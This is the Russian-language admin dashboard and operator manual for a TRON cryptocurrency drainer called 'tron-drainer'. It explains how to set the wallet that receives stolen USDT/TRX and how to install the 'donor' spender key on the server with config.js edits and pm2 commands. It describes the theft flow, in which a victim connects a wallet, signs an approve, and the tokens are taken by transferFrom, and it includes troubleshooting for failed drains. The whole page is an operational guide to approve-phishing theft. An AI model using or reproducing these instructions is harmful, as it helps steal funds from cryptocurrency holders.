КОШЕЛЁК ПОЛУЧАТЕЛЯ
—
ДОНОРСКИЙ КОШЕЛЁК (SPENDER)
—
—
Последние операции
Кошелёк получателя (Receiver)
Адрес, куда поступают все списанные средства. Меняется прямо здесь без перезапуска сервера.
Донорский кошелёк (Spender)
—
Donоr-кошелёк используется как spender для approve и оплачивает gas за пользователей (~35 TRX на транзакцию). Должен иметь минимум 50–100 TRX на балансе. Для смены — редактируй/root/Tron-2/backend/config.js на сервере, затем pm2 restart tron-drainer. Подробнее — в разделе Инструкции.
Смена кошелька получателя
Receiver wallet — адрес, куда поступают списанные USDT/TRX. Меняется прямо из Админ Панели без перезапуска сервера.
Шаги:
- Перейди в раздел Настройки (левое меню)
- В поле «Новый адрес» введи TRON-адрес получателя (начинается на
T, 34 символа) - Нажми «Сохранить адрес»
- Адрес применится мгновенно — все следующие транзакции пойдут на новый кошелёк
✅ После сохранения — адрес отображается в разделе «Обзор» и в карточке Настроек с временем обновления.
Смена донорского кошелька (Spender)
Donor wallet — кошелёк, чей приватный ключ используется backend-сервером для:
- Оплаты gas за пользователей (~35 TRX на каждый approve)
- Выполнения
transferFrom— фактического списания токенов
⚠️ Донорский кошелёк должен постоянно иметь 50–100+ TRX на балансе. При нехватке транзакции будут падать.
Как изменить донора на сервере:
- Подключись к серверу по SSH
- Открой файл конфига:
nano /root/Tron-2/backend/config.js
- Найди строку и замени ключ:
export const donorPrivateKey = 'ВАШ_НОВЫЙ_ПРИВАТНЫЙ_КЛЮЧ_64_СИМВОЛА';
- Сохрани файл (
Ctrl+O,Enter,Ctrl+X) - Перезапусти сервер:
pm2 restart tron-drainer
- Проверь что всё запустилось:
pm2 logs tron-drainer --lines 20
Как получить приватный ключ кошелька
🔴 ВАЖНО: Никогда не передавай приватный ключ третьим лицам. Тот, кто владеет ключом — владеет кошельком полностью.
Метод 1 — TronLink Extension (браузер Chrome/Firefox):
- Открой расширение TronLink в браузере
- Нажми на иконку аккаунта (вверху справа)
- Выбери «Manage accounts» → нужный аккаунт
- Нажми «Export private key»
- Введи пароль TronLink
- Скопируй приватный ключ — это 64 символа в HEX-формате
Метод 2 — TronLink Mobile (iOS / Android):
- Открой TronLink → вкладка «Я» (Me)
- Нажми «Управление аккаунтом»
- Выбери нужный аккаунт → «Экспорт приватного ключа»
- Введи пароль и скопируй ключ
Метод 3 — Создать новый кошелёк специально для донора:
- Открой https://tronscan.org/#/wallet/generate (офлайн или через VPN)
- Сгенерируй новый адрес
- Сохрани приватный ключ и адрес
- Пополни адрес минимум на 100 TRX для работы
Типы событий в «История операций»
| Тип | Что означает | Статус |
|---|---|---|
| connect | Пользователь подключил кошелёк, баланс проверен | success — есть токены; empty — пустой кошелёк |
| approve | Пользователь подписал транзакцию approve (разрешение на списание) | success / failed |
| withdraw | Фактическое списание токенов (transferFrom) | success — средства зачислены; failed — ошибка |
| trx_drain | Списание нативного TRX с баланса | success / failed |
| settings | Изменение настроек через Админ Панель | success |
| error | Системная ошибка при обработке запроса | failed |
Полный путь успешного дрейна:
connect → approve → withdraw
Проверка транзакций на TronScan
- Все TX хеши в таблице «История» — кликабельные ссылки на TronScan
- Адреса кошельков в «Пользователях» тоже открывают TronScan
- Прямая ссылка на транзакцию:
https://tronscan.org/#/transaction/TX_HASH - Прямая ссылка на адрес:
https://tronscan.org/#/address/АДРЕС
Если транзакции падают с ошибкой
- Insufficient allowance — пользователь не подтвердил approve или он не записался в блокчейн. Подожди 1–2 минуты и повтори.
- Donor has low TRX balance — пополни донорский кошелёк TRX (минимум 50 TRX).
- Timeout — сеть TRON перегружена. Запрос повторится автоматически.
- Transaction failed: REVERT — контракт отклонил транзакцию. Проверь allowance и баланс.
Логи сервера в реальном времени: pm2 logs tron-drainer